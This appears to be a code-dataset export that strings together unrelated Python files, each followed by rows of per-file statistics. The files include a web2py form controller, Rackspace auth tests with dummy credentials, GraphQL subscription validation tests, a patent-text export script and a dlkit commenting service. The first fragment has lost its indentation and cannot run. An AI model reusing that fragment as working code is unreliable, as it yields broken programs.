db.projeto.nome.readable = False
db.projeto.nome.writable = False
db.projeto.nome_chefe.readable = False
db.projeto.nome_chefe.writable = False
db.projeto.vale_saida_chefe.readable = False
db.projeto.vale_saida_chefe.writable = False
db.projeto.comissao_chefe.readable = False
db.projeto.comissao_chefe.writable = False
db.projeto.data_saida_venda.readable = False
db.projeto.data_saida_venda.writable = False
db.projeto.adiantamento_saida_venda.readable = False
db.projeto.adiantamento_saida_venda.writable = False
db.projeto.data_cobranca.readable = False
db.projeto.data_cobranca.writable = False
db.projeto.primeira_cidade.readable = False
db.projeto.primeira_cidade.writable = False
form = SQLFORM(db.projeto, request.args(0, cast=int))
if form.process().accepted:
session.flash = ' atualizado'
redirect(URL('listar_merc_envio', args=iid))
elif form.errors:
response.flash = 'Erros no formulário!'
else:
if not response.flash:
response.flash = 'Preencha o formulário!'
return locals()
def listar_merc_retorno():
proj = db.projeto(request.args(0, cast=int))
rows = db(db.mercadoria_retorno.projeto == request.args(0, cast=int)).select()
return locals()
def inserir_merc_retorno():
proj = db.projeto(request.args(0, cast=int))
db.mercadoria_retorno.projeto.default = proj.id
db.mercadoria_retorno.projeto.readable = False
db.mercadoria_retorno.projeto.writable = False
merc = db(db.mercadoria_retorno.projeto==proj.id).select()
form = SQLFORM(db.mercadoria_retorno).process()
if form.accepted:
response.flash = 'Formulario aceito'
redirect(URL('listar_merc_retorno', args=proj.id))
elif form.errors:
response.flash = 'Formulario não aceito'
else:
response.flash = 'Preencha o formulario'
return locals()
def alterar_merc_retorno():
merc = db.mercadoria_retorno(request.args(0, cast=int))
proj = db.projeto(merc.projeto)
db.mercadoria_retorno.projeto.readable = False
db.mercadoria_retorno.projeto.writable = False
form = SQLFORM(db.mercadoria_retorno, request.args(0, cast=int))
if form.process().accepted:
session.flash = 'atualizada'
redirect(URL('listar_merc_retorno', args=proj.id))
elif form.errors:
response.flash = 'Erros no formulário!'
else:
if not response.flash:
response.flash = 'Preencha o formulário!'
return locals()
def subir_dados_mercadoria_retorno():
iid = request.args(0, cast=int)
quant = request.args(1)
custo = request.args(3)
preco = request.args(2)
proj = db(db.projeto.id == iid).select().first()
proj.update_record(total_custo_retorno=custo)
proj.update_record(total_quantidade_retorno=quant)
proj.update_record(total_preco_retorno=preco)
db.projeto.total_quantidade_retorno.readable = True
db.projeto.total_quantidade_retorno.writable = False
db.projeto.total_preco_retorno.readable = True
db.projeto.total_preco_retorno.writable = False
db.projeto.total_custo_retorno.readable = True
db.projeto.total_custo_retorno.writable = False
db.projeto.nome.readable = False
db.projeto.nome.writable = False
db.projeto.nome_chefe.readable = False
db.projeto.nome_chefe.writable = False
db.projeto.vale_saida_chefe.readable = False
db.projeto.vale_saida_chefe.writable = False
db.projeto.comissao_chefe.readable = False
db.projeto.comissao_chefe.writable = False
db.projeto.data_saida_venda.readable = False
db.projeto.data_saida_venda.writable = False
db.projeto.adiantamento_saida_venda.readable = False
db.projeto.adiantamento_saida_venda.writable = False
db.projeto.data_cobranca.readable = False
db.projeto.data_cobranca.writable = False
db.projeto.primeira_cidade.readable = False
db.projeto.primeira_cidade.writable = False
form = SQLFORM(db.projeto, request.args(0, cast=int))
if form.process().accepted:
session.flash = ' atualizado'
redirect(URL('listar_merc_retorno', args=iid))
elif form.errors:
response.flash = 'Erros no formulário!'
else:
if not response.flash:
response.flash = 'Preencha o formulário!'
return locals()
| 32.769231
| 79
| 0.768109
| 836
| 5,964
| 5.32177
| 0.098086
| 0.109238
| 0.113284
| 0.098899
| 0.973028
| 0.947853
| 0.819735
| 0.806698
| 0.770735
| 0.770735
| 0
| 0.003972
| 0.113514
| 5,964
| 181
| 80
| 32.950276
| 0.837526
| 0.006204
| 0
| 0.733333
| 0
| 0
| 0.073599
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.053333
| false
| 0
| 0
| 0
| 0.106667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5ac7681c3cd9e35cdc5a1b290c5d7a77a194340a
| 43
|
py
|
Python
|
aparent/losses/__init__.py
|
johli/aparent-resnet
|
04bcbb587ee8e6e298db9ca5c1e8e4bc959dba6a
|
[
"MIT"
] | 20
|
2019-04-23T20:35:23.000Z
|
2022-02-02T02:07:06.000Z
|
aparent/losses/__init__.py
|
johli/aparent-resnet
|
04bcbb587ee8e6e298db9ca5c1e8e4bc959dba6a
|
[
"MIT"
] | 6
|
2019-10-14T16:35:00.000Z
|
2021-03-24T17:55:07.000Z
|
aparent/losses/__init__.py
|
johli/aparent-resnet
|
04bcbb587ee8e6e298db9ca5c1e8e4bc959dba6a
|
[
"MIT"
] | 11
|
2019-06-10T08:53:57.000Z
|
2021-01-25T00:54:59.000Z
|
from aparent.losses.aparent_losses import *
| 43
| 43
| 0.860465
| 6
| 43
| 6
| 0.666667
| 0.722222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.069767
| 43
| 1
| 43
| 43
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
8529aa00234d8f520455edbed1c4af46f75747b9
| 100
|
py
|
Python
|
app/section_1/__init__.py
|
Shah-imran/Database_app
|
726b8ab344075b1650408ef1e5c105ce1214d6e6
|
[
"MIT"
] | null | null | null |
app/section_1/__init__.py
|
Shah-imran/Database_app
|
726b8ab344075b1650408ef1e5c105ce1214d6e6
|
[
"MIT"
] | null | null | null |
app/section_1/__init__.py
|
Shah-imran/Database_app
|
726b8ab344075b1650408ef1e5c105ce1214d6e6
|
[
"MIT"
] | null | null | null |
from flask import Blueprint
section_1 = Blueprint('section_1', __name__)
from . import views
| 16.666667
| 45
| 0.74
| 13
| 100
| 5.230769
| 0.615385
| 0.470588
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.024691
| 0.19
| 100
| 5
| 46
| 20
| 0.814815
| 0
| 0
| 0
| 0
| 0
| 0.094737
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.666667
| 0
| 0.666667
| 0.666667
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
|
0
| 7
|
51796614c1ac4e854673ed9caf66d92875a68f7d
| 2,739
|
py
|
Python
|
spec/rackspace.py
|
jmvrbanac/requests-cloud-auth
|
5b397fb062ea04256a4c0429b95b90ffaa6924c8
|
[
"Apache-2.0"
] | 1
|
2015-06-27T20:06:08.000Z
|
2015-06-27T20:06:08.000Z
|
spec/rackspace.py
|
jmvrbanac/requests-cloud-auth
|
5b397fb062ea04256a4c0429b95b90ffaa6924c8
|
[
"Apache-2.0"
] | 3
|
2015-02-15T07:44:24.000Z
|
2015-02-26T19:45:09.000Z
|
spec/rackspace.py
|
jmvrbanac/requests-cloud-auth
|
5b397fb062ea04256a4c0429b95b90ffaa6924c8
|
[
"Apache-2.0"
] | null | null | null |
from mock import patch
from specter import Spec, expect
from requests_cloud_auth import rackspace
from spec import get_keystone_v2_auth_resp
class AuthenticationToRackspace(Spec):
class PasswordAuthentication(Spec):
def before_all(self):
self.auth = rackspace.RackspacePasswordAuth(
username='tester',
password='password'
)
@patch("requests.post")
def can_authenticate(self, post_func):
post_func.return_value = get_keystone_v2_auth_resp()
creds = self.auth.authenticate()
expect(creds.get('token', None)).to.equal('some_token')
expect(creds.get('project_id', None)).to.equal('some_tenant')
@patch("requests.post")
def can_get_token(self, post_func):
post_func.return_value = get_keystone_v2_auth_resp()
token, tenant = self.auth.get_token()
expect(token).to.equal('some_token')
class ApiKeyAuthentication(Spec):
def before_all(self):
self.auth = rackspace.RackspaceApiKeyAuth(
username='tester',
api_key='api_key'
)
@patch("requests.post")
def can_authenticate(self, post_func):
post_func.return_value = get_keystone_v2_auth_resp()
creds = self.auth.authenticate()
expect(creds.get('token', None)).to.equal('some_token')
expect(creds.get('project_id', None)).to.equal('some_tenant')
@patch("requests.post")
def can_get_token(self, post_func):
post_func.return_value = get_keystone_v2_auth_resp()
token, tenant = self.auth.get_token()
expect(token).to.equal('some_token')
class SupportedRackspaceRegions(Spec):
def can_use_uk_region(self):
self.auth = rackspace.RackspacePasswordAuth(
username='tester',
password='some_pass',
region='UK'
)
expect(rackspace.UK_ENDPOINT).to.be_in(self.auth.endpoint)
self.auth = rackspace.RackspaceApiKeyAuth(
username='tester',
api_key='some_pass',
region='UK'
)
expect(rackspace.UK_ENDPOINT).to.be_in(self.auth.endpoint)
def can_use_us_region(self):
self.auth = rackspace.RackspacePasswordAuth(
username='tester',
password='some_pass',
region='US'
)
expect(rackspace.US_ENDPOINT).to.be_in(self.auth.endpoint)
self.auth = rackspace.RackspaceApiKeyAuth(
username='tester',
api_key='some_pass',
region='US'
)
expect(rackspace.US_ENDPOINT).to.be_in(self.auth.endpoint)
| 30.098901
| 73
| 0.610077
| 303
| 2,739
| 5.270627
| 0.178218
| 0.070132
| 0.06387
| 0.053225
| 0.848466
| 0.835316
| 0.835316
| 0.835316
| 0.737633
| 0.737633
| 0
| 0.002538
| 0.280759
| 2,739
| 90
| 74
| 30.433333
| 0.808122
| 0
| 0
| 0.727273
| 0
| 0
| 0.087258
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.121212
| false
| 0.136364
| 0.060606
| 0
| 0.242424
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
51836dbe8e3b7b2306f25c23b465db8e1bb49ae7
| 4,973
|
py
|
Python
|
tests/functional/regressions/test_issue87.py
|
matt-koevort/tartiflette
|
5777866b133d846ce4f8aa03f735fa81832896cd
|
[
"MIT"
] | 530
|
2019-06-04T11:45:36.000Z
|
2022-03-31T09:29:56.000Z
|
tests/functional/regressions/test_issue87.py
|
matt-koevort/tartiflette
|
5777866b133d846ce4f8aa03f735fa81832896cd
|
[
"MIT"
] | 242
|
2019-06-04T11:53:08.000Z
|
2022-03-28T07:06:27.000Z
|
tests/functional/regressions/test_issue87.py
|
matt-koevort/tartiflette
|
5777866b133d846ce4f8aa03f735fa81832896cd
|
[
"MIT"
] | 36
|
2019-06-21T06:40:27.000Z
|
2021-11-04T13:11:16.000Z
|
import pytest
@pytest.mark.asyncio
@pytest.mark.ttftt_engine
@pytest.mark.parametrize(
"query,errors",
[
(
"""
subscription Sub {
newDog {
name
}
newHuman {
name
}
}
""",
[
{
"message": "Subcription Sub must select only one top level field.",
"path": None,
"locations": [
{"line": 2, "column": 13},
{"line": 2, "column": 30},
],
"extensions": {
"rule": "5.2.3.1",
"spec": "June 2018",
"details": "https://graphql.github.io/graphql-spec/June2018/#sec-Single-root-field",
"tag": "single-root-field",
},
}
],
),
(
"""
subscription Sub {
newDog {
name
}
__typename
}
""",
[
{
"message": "Subcription Sub must select only one top level field.",
"path": None,
"locations": [
{"line": 2, "column": 13},
{"line": 2, "column": 30},
],
"extensions": {
"rule": "5.2.3.1",
"spec": "June 2018",
"details": "https://graphql.github.io/graphql-spec/June2018/#sec-Single-root-field",
"tag": "single-root-field",
},
}
],
),
(
"""
fragment MultipleSubscriptionsFields on Subscription {
newDog {
name
}
newHuman {
name
}
}
subscription Sub {
...MultipleSubscriptionsFields
}
""",
[
{
"message": "Subcription Sub must select only one top level field.",
"path": None,
"locations": [
{"line": 11, "column": 13},
{"line": 2, "column": 66},
],
"extensions": {
"rule": "5.2.3.1",
"spec": "June 2018",
"details": "https://graphql.github.io/graphql-spec/June2018/#sec-Single-root-field",
"tag": "single-root-field",
},
}
],
),
(
"""
subscription Sub {
... on Subscription {
newDog {
name
}
newHuman {
name
}
}
}
""",
[
{
"message": "Subcription Sub must select only one top level field.",
"path": None,
"locations": [
{"line": 2, "column": 13},
{"line": 3, "column": 35},
],
"extensions": {
"rule": "5.2.3.1",
"spec": "June 2018",
"details": "https://graphql.github.io/graphql-spec/June2018/#sec-Single-root-field",
"tag": "single-root-field",
},
}
],
),
(
"""
fragment MultipleSubscriptionsFields on Subscription {
... on Subscription {
newDog {
name
}
newHuman {
name
}
}
}
subscription Sub {
...MultipleSubscriptionsFields
}
""",
[
{
"message": "Subcription Sub must select only one top level field.",
"path": None,
"locations": [
{"line": 13, "column": 13},
{"line": 3, "column": 35},
],
"extensions": {
"rule": "5.2.3.1",
"spec": "June 2018",
"details": "https://graphql.github.io/graphql-spec/June2018/#sec-Single-root-field",
"tag": "single-root-field",
},
}
],
),
],
)
async def test_issue87(engine, query, errors):
assert await engine.execute(query) == {"data": None, "errors": errors}
| 30.509202
| 108
| 0.314498
| 303
| 4,973
| 5.148515
| 0.211221
| 0.064103
| 0.096154
| 0.080128
| 0.867949
| 0.855769
| 0.846795
| 0.846795
| 0.846795
| 0.846795
| 0
| 0.043741
| 0.567866
| 4,973
| 162
| 109
| 30.697531
| 0.682178
| 0
| 0
| 0.6
| 0
| 0.047619
| 0.308816
| 0
| 0
| 0
| 0
| 0
| 0.009524
| 1
| 0
| true
| 0
| 0.009524
| 0
| 0.009524
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
51a56756217ed4ec5bfdd686ad42105bcd7952f6
| 2,127
|
py
|
Python
|
modules/analyzer/save_txt.py
|
Kolyamba-mamba/technology-partner-search-module
|
a1b5c86cb44e84fb712f8b0df42c93866fe919f9
|
[
"MIT"
] | 2
|
2021-02-23T17:43:36.000Z
|
2021-02-24T19:31:42.000Z
|
modules/analyzer/save_txt.py
|
Kolyamba-mamba/technology-partner-search-module
|
a1b5c86cb44e84fb712f8b0df42c93866fe919f9
|
[
"MIT"
] | null | null | null |
modules/analyzer/save_txt.py
|
Kolyamba-mamba/technology-partner-search-module
|
a1b5c86cb44e84fb712f8b0df42c93866fe919f9
|
[
"MIT"
] | null | null | null |
import os
import sys
sys.path.append(os.path.abspath('../../mySite/mySite'))
from modules.dbActions.getTables import get_abstract_and_descr_path
from modules.helpers.saoSelector import rem, split_description
def save_text_db_to_txt(con, filename_base = 'C:/Users/mrkol/Documents/myLog/dataset.txt'):
# Берем тексты патентов из БД
paths = get_abstract_and_descr_path(con)
# Сохраняем в файлы для обучения модели
for i, el in enumerate(paths):
try:
with open(filename_base, 'a', encoding="utf-8") as file:
if el[0]:
if os.path.isfile(el[0]):
with open(str(el[0]), 'r', encoding='utf8') as f:
file.write(f.read())
if el[1]:
if os.path.isfile(el[1]):
with open(str(el[1]), 'r', encoding='utf8') as f:
file.write(f.read())
except EnvironmentError:
print("Ошибка при записи в файл:" + filename_base)
return filename_base
def save_text_db_to_txt2(con, filename_base = 'C:/Users/mrkol/Documents/myLog/dataset.txt'):
# Берем тексты патентов из БД
paths = get_abstract_and_descr_path(con)
# Сохраняем в файлы для обучения модели
for i, el in enumerate(paths):
try:
with open(filename_base, 'a', encoding="utf-8") as file:
if el[0]:
if os.path.isfile(el[0]):
with open(str(el[0]), 'r', encoding='utf8') as f:
text = f.read()
text = rem(text)
file.write(text)
if el[1]:
if os.path.isfile(el[1]):
with open(str(el[1]), 'r', encoding='utf8') as f:
text = f.read()
text = split_description(text)
text = rem(text)
file.write(text)
except EnvironmentError:
print("Ошибка при записи в файл:" + filename_base)
return filename_base
| 42.54
| 92
| 0.523742
| 264
| 2,127
| 4.106061
| 0.30303
| 0.088561
| 0.02952
| 0.051661
| 0.842251
| 0.793358
| 0.752768
| 0.752768
| 0.752768
| 0.702952
| 0
| 0.014064
| 0.364833
| 2,127
| 50
| 93
| 42.54
| 0.788305
| 0.061589
| 0
| 0.809524
| 0
| 0
| 0.092871
| 0.042169
| 0
| 0
| 0
| 0
| 0
| 1
| 0.047619
| false
| 0
| 0.095238
| 0
| 0.190476
| 0.047619
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
cfe989035c30570ea91691fb0079332450ea05f3
| 66,467
|
py
|
Python
|
dlkit/services/commenting.py
|
UOC/dlkit
|
a9d265db67e81b9e0f405457464e762e2c03f769
|
[
"MIT"
] | 2
|
2018-02-23T12:16:11.000Z
|
2020-10-08T17:54:24.000Z
|
dlkit/services/commenting.py
|
UOC/dlkit
|
a9d265db67e81b9e0f405457464e762e2c03f769
|
[
"MIT"
] | 87
|
2017-04-21T18:57:15.000Z
|
2021-12-13T19:43:57.000Z
|
dlkit/services/commenting.py
|
UOC/dlkit
|
a9d265db67e81b9e0f405457464e762e2c03f769
|
[
"MIT"
] | 1
|
2018-03-01T16:44:25.000Z
|
2018-03-01T16:44:25.000Z
|
"""DLKit Services implementations of commenting service."""
# pylint: disable=no-init
# osid specification includes some 'marker' interfaces.
# pylint: disable=too-many-ancestors
# number of ancestors defined in spec.
# pylint: disable=too-few-public-methods,too-many-public-methods
# number of methods defined in spec. Worse yet, these are aggregates.
# pylint: disable=invalid-name
# method and class names defined in spec.
# pylint: disable=no-self-use,unused-argument
# to catch unimplemented methods.
# pylint: disable=super-init-not-called
# it just isn't.
from . import osid
from .osid_errors import Unimplemented, IllegalState, InvalidArgument
from dlkit.abstract_osid.commenting import objects as abc_commenting_objects
from dlkit.manager_impls.commenting import managers as commenting_managers
DEFAULT = 0
COMPARATIVE = 0
PLENARY = 1
FEDERATED = 0
ISOLATED = 1
ANY_STATUS = 0
ACTIVE = 1
UNSEQUESTERED = 0
SEQUESTERED = 1
AUTOMATIC = 0
MANDATORY = 1
DISABLED = -1
class CommentingProfile(osid.OsidProfile, commenting_managers.CommentingProfile):
"""CommentingProfile convenience adapter including related Session methods."""
def __init__(self):
self._provider_manager = None
def supports_comment_lookup(self):
"""Pass through to provider supports_comment_lookup"""
# Implemented from kitosid template for -
# osid.resource.ResourceProfile.supports_resource_lookup
return self._provider_manager.supports_comment_lookup()
def supports_comment_query(self):
"""Pass through to provider supports_comment_query"""
# Implemented from kitosid template for -
# osid.resource.ResourceProfile.supports_resource_lookup
return self._provider_manager.supports_comment_query()
def supports_comment_admin(self):
"""Pass through to provider supports_comment_admin"""
# Implemented from kitosid template for -
# osid.resource.ResourceProfile.supports_resource_lookup
return self._provider_manager.supports_comment_admin()
def supports_comment_book(self):
"""Pass through to provider supports_comment_book"""
# Implemented from kitosid template for -
# osid.resource.ResourceProfile.supports_resource_lookup
return self._provider_manager.supports_comment_book()
def supports_comment_book_assignment(self):
"""Pass through to provider supports_comment_book_assignment"""
# Implemented from kitosid template for -
# osid.resource.ResourceProfile.supports_resource_lookup
return self._provider_manager.supports_comment_book_assignment()
def supports_book_lookup(self):
"""Pass through to provider supports_book_lookup"""
# Implemented from kitosid template for -
# osid.resource.ResourceProfile.supports_resource_lookup
return self._provider_manager.supports_book_lookup()
def supports_book_admin(self):
"""Pass through to provider supports_book_admin"""
# Implemented from kitosid template for -
# osid.resource.ResourceProfile.supports_resource_lookup
return self._provider_manager.supports_book_admin()
def supports_book_hierarchy(self):
"""Pass through to provider supports_book_hierarchy"""
# Implemented from kitosid template for -
# osid.resource.ResourceProfile.supports_resource_lookup
return self._provider_manager.supports_book_hierarchy()
def supports_book_hierarchy_design(self):
"""Pass through to provider supports_book_hierarchy_design"""
# Implemented from kitosid template for -
# osid.resource.ResourceProfile.supports_resource_lookup
return self._provider_manager.supports_book_hierarchy_design()
def get_comment_record_types(self):
"""Pass through to provider get_comment_record_types"""
# Implemented from kitosid template for -
# osid.resource.ResourceProfile.get_resource_record_types
return self._provider_manager.get_comment_record_types()
comment_record_types = property(fget=get_comment_record_types)
def get_comment_search_record_types(self):
"""Pass through to provider get_comment_search_record_types"""
# Implemented from kitosid template for -
# osid.resource.ResourceProfile.get_resource_record_types
return self._provider_manager.get_comment_search_record_types()
comment_search_record_types = property(fget=get_comment_search_record_types)
def get_book_record_types(self):
"""Pass through to provider get_book_record_types"""
# Implemented from kitosid template for -
# osid.resource.ResourceProfile.get_resource_record_types
return self._provider_manager.get_book_record_types()
book_record_types = property(fget=get_book_record_types)
def get_book_search_record_types(self):
"""Pass through to provider get_book_search_record_types"""
# Implemented from kitosid template for -
# osid.resource.ResourceProfile.get_resource_record_types
return self._provider_manager.get_book_search_record_types()
book_search_record_types = property(fget=get_book_search_record_types)
class CommentingManager(osid.OsidManager, osid.OsidSession, CommentingProfile, commenting_managers.CommentingManager):
"""CommentingManager convenience adapter including related Session methods."""
def __init__(self, proxy=None):
self._runtime = None
self._provider_manager = None
self._provider_sessions = dict()
self._session_management = AUTOMATIC
self._book_view = DEFAULT
# This is to initialize self._proxy
osid.OsidSession.__init__(self, proxy)
self._sub_package_provider_managers = dict()
def _set_book_view(self, session):
"""Sets the underlying book view to match current view"""
if self._book_view == COMPARATIVE:
try:
session.use_comparative_book_view()
except AttributeError:
pass
else:
try:
session.use_plenary_book_view()
except AttributeError:
pass
def _get_provider_session(self, session_name, proxy=None):
"""Gets the session for the provider"""
agent_key = self._get_agent_key(proxy)
if session_name in self._provider_sessions[agent_key]:
return self._provider_sessions[agent_key][session_name]
else:
session = self._instantiate_session('get_' + session_name, self._proxy)
self._set_book_view(session)
if self._session_management != DISABLED:
self._provider_sessions[agent_key][session_name] = session
return session
def _get_sub_package_provider_manager(self, sub_package_name):
if sub_package_name in self._sub_package_provider_managers:
return self._sub_package_provider_managers[sub_package_name]
config = self._runtime.get_configuration()
parameter_id = Id('parameter:{0}ProviderImpl@dlkit_service'.format(sub_package_name))
provider_impl = config.get_value_by_parameter(parameter_id).get_string_value()
if self._proxy is None:
# need to add version argument
sub_package = self._runtime.get_manager(sub_package_name.upper(), provider_impl)
else:
# need to add version argument
sub_package = self._runtime.get_proxy_manager(sub_package_name.upper(), provider_impl)
self._sub_package_provider_managers[sub_package_name] = sub_package
return sub_package
def _get_sub_package_provider_session(self, sub_package, session_name, proxy=None):
"""Gets the session from a sub-package"""
agent_key = self._get_agent_key(proxy)
if session_name in self._provider_sessions[agent_key]:
return self._provider_sessions[agent_key][session_name]
else:
manager = self._get_sub_package_provider_manager(sub_package)
try:
session = self._instantiate_session('get_' + session_name + '_for_bank',
proxy=self._proxy,
manager=manager)
except AttributeError:
session = self._instantiate_session('get_' + session_name,
proxy=self._proxy,
manager=manager)
self._set_bank_view(session)
if self._session_management != DISABLED:
self._provider_sessions[agent_key][session_name] = session
return session
def _instantiate_session(self, method_name, proxy=None, *args, **kwargs):
"""Instantiates a provider session"""
if 'manager' in kwargs:
session_class = getattr(kwargs['manager'], method_name)
del kwargs['manager']
else:
session_class = getattr(self._provider_manager, method_name)
if proxy is None:
try:
return session_class(bank_id=self._catalog_id, *args, **kwargs)
except AttributeError:
return session_class(*args, **kwargs)
else:
try:
return session_class(bank_id=self._catalog_id, proxy=proxy, *args, **kwargs)
except AttributeError:
return session_class(proxy=proxy, *args, **kwargs)
def initialize(self, runtime):
"""OSID Manager initialize"""
from .primitives import Id
if self._runtime is not None:
raise IllegalState('Manager has already been initialized')
self._runtime = runtime
config = runtime.get_configuration()
parameter_id = Id('parameter:commentingProviderImpl@dlkit_service')
provider_impl = config.get_value_by_parameter(parameter_id).get_string_value()
if self._proxy is None:
# need to add version argument
self._provider_manager = runtime.get_manager('COMMENTING', provider_impl)
else:
# need to add version argument
self._provider_manager = runtime.get_proxy_manager('COMMENTING', provider_impl)
def close_sessions(self):
"""Close all sessions, unless session management is set to MANDATORY"""
if self._session_management != MANDATORY:
self._provider_sessions = dict()
def use_automatic_session_management(self):
"""Session state will be saved unless closed by consumers"""
self._session_management = AUTOMATIC
def use_mandatory_session_management(self):
"""Session state will be saved and can not be closed by consumers"""
self._session_management = MANDATORY
def disable_session_management(self):
"""Session state will never be saved"""
self._session_management = DISABLED
self.close_sessions()
def get_comment_lookup_session(self, *args, **kwargs):
"""Pass through to provider get_comment_lookup_session"""
# Implemented from kitosid template for -
# osid.resource.ResourceManager.get_resource_lookup_session_catalog_template
return self._provider_manager.get_comment_lookup_session(*args, **kwargs)
comment_lookup_session = property(fget=get_comment_lookup_session)
def get_comment_lookup_session_for_book(self, *args, **kwargs):
"""Pass through to provider get_comment_lookup_session_for_book"""
# Implemented from kitosid template for -
# osid.resource.ResourceManager.get_resource_lookup_session_for_bin_catalog_template
return self._provider_manager.get_comment_lookup_session_for_book(*args, **kwargs)
def get_comment_query_session(self, *args, **kwargs):
"""Pass through to provider get_comment_query_session"""
# Implemented from kitosid template for -
# osid.resource.ResourceManager.get_resource_lookup_session_catalog_template
return self._provider_manager.get_comment_query_session(*args, **kwargs)
comment_query_session = property(fget=get_comment_query_session)
def get_comment_query_session_for_book(self, *args, **kwargs):
"""Pass through to provider get_comment_query_session_for_book"""
# Implemented from kitosid template for -
# osid.resource.ResourceManager.get_resource_lookup_session_for_bin_catalog_template
return self._provider_manager.get_comment_query_session_for_book(*args, **kwargs)
def get_comment_admin_session(self, *args, **kwargs):
"""Pass through to provider get_comment_admin_session"""
# Implemented from kitosid template for -
# osid.resource.ResourceManager.get_resource_lookup_session_catalog_template
return self._provider_manager.get_comment_admin_session(*args, **kwargs)
comment_admin_session = property(fget=get_comment_admin_session)
def get_comment_admin_session_for_book(self, *args, **kwargs):
"""Pass through to provider get_comment_admin_session_for_book"""
# Implemented from kitosid template for -
# osid.resource.ResourceManager.get_resource_lookup_session_for_bin_catalog_template
return self._provider_manager.get_comment_admin_session_for_book(*args, **kwargs)
def get_comment_book_session(self, *args, **kwargs):
"""Pass through to provider get_comment_book_session"""
# Implemented from kitosid template for -
# osid.resource.ResourceManager.get_resource_lookup_session_manager_template
return self._provider_manager.get_comment_book_session(*args, **kwargs)
comment_book_session = property(fget=get_comment_book_session)
def get_comment_book_assignment_session(self, *args, **kwargs):
"""Pass through to provider get_comment_book_assignment_session"""
# Implemented from kitosid template for -
# osid.resource.ResourceManager.get_resource_lookup_session_manager_template
return self._provider_manager.get_comment_book_assignment_session(*args, **kwargs)
comment_book_assignment_session = property(fget=get_comment_book_assignment_session)
def get_book_lookup_session(self, *args, **kwargs):
"""Pass through to provider get_book_lookup_session"""
# Implemented from kitosid template for -
# osid.resource.ResourceManager.get_resource_lookup_session_manager_template
return self._provider_manager.get_book_lookup_session(*args, **kwargs)
book_lookup_session = property(fget=get_book_lookup_session)
def get_book_admin_session(self, *args, **kwargs):
"""Pass through to provider get_book_admin_session"""
# Implemented from kitosid template for -
# osid.resource.ResourceManager.get_resource_lookup_session_manager_template
return self._provider_manager.get_book_admin_session(*args, **kwargs)
book_admin_session = property(fget=get_book_admin_session)
def get_book_hierarchy_session(self, *args, **kwargs):
"""Pass through to provider get_book_hierarchy_session"""
# Implemented from kitosid template for -
# osid.resource.ResourceManager.get_resource_lookup_session_manager_template
return self._provider_manager.get_book_hierarchy_session(*args, **kwargs)
book_hierarchy_session = property(fget=get_book_hierarchy_session)
def get_book_hierarchy_design_session(self, *args, **kwargs):
"""Pass through to provider get_book_hierarchy_design_session"""
# Implemented from kitosid template for -
# osid.resource.ResourceManager.get_resource_lookup_session_manager_template
return self._provider_manager.get_book_hierarchy_design_session(*args, **kwargs)
book_hierarchy_design_session = property(fget=get_book_hierarchy_design_session)
def get_commenting_batch_manager(self, *args, **kwargs):
"""Pass through to provider unimplemented"""
raise Unimplemented('Unimplemented in dlkit.services')
commenting_batch_manager = property(fget=get_commenting_batch_manager)
##
# The following methods are from osid.commenting.CommentBookSession
def can_lookup_comment_book_mappings(self):
"""Pass through to provider CommentBookSession.can_lookup_comment_book_mappings"""
# Implemented from kitosid template for -
# osid.resource.ResourceBinSession.can_lookup_resource_bin_mappings
return self._get_provider_session('comment_book_session').can_lookup_comment_book_mappings()
def use_comparative_book_view(self):
"""Pass through to provider CommentBookSession.use_comparative_book_view"""
self._book_view = COMPARATIVE
# self._get_provider_session('comment_book_session') # To make sure the session is tracked
for session in self._get_provider_sessions():
try:
session.use_comparative_book_view()
except AttributeError:
pass
def use_plenary_book_view(self):
"""Pass through to provider CommentBookSession.use_plenary_book_view"""
self._book_view = PLENARY
# self._get_provider_session('comment_book_session') # To make sure the session is tracked
for session in self._get_provider_sessions():
try:
session.use_plenary_book_view()
except AttributeError:
pass
def get_comment_ids_by_book(self, *args, **kwargs):
"""Pass through to provider CommentBookSession.get_comment_ids_by_book"""
# Implemented from kitosid template for -
# osid.resource.ResourceBinSession.get_resource_ids_by_bin
